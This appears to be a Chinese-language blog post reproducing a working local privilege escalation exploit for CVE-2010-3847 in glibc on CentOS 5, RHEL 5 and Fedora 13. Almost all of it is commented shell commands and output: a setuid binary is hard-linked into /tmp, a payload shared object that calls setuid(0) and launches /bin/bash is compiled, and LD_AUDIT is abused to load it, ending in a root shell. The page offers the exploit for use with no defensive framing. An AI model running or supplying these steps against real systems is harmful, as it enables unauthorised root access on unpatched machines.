>CVE-2010-3847 提权 CentOS5/RHEL5/Fedora13

  • A+
所属分类:业界关注

# 在/tmp下创建可控制的目录

$ mkdir /tmp/exploit

# 链接到suid二进制程序以更改$ORIGIN的定义

$ ln /bin/ping /tmp/exploit/target

# 打开到目标二进制程序的文件描述符

$ exec 3< /tmp/exploit/target

# 现在可通过/proc访问描述符

$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*

# 删除之前所创建的目录

$ rm -rf /tmp/exploit/

# /proc链接仍存在,但已标记为已被删除

$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)

# 使用负载DSO替换目录,使$ORIGIN成为到dlopen()的有效目标

$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
^D
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*

# 通过LD_AUDIT强制/proc中的链接加载$ORIGIN

$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=500(taviso)
  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: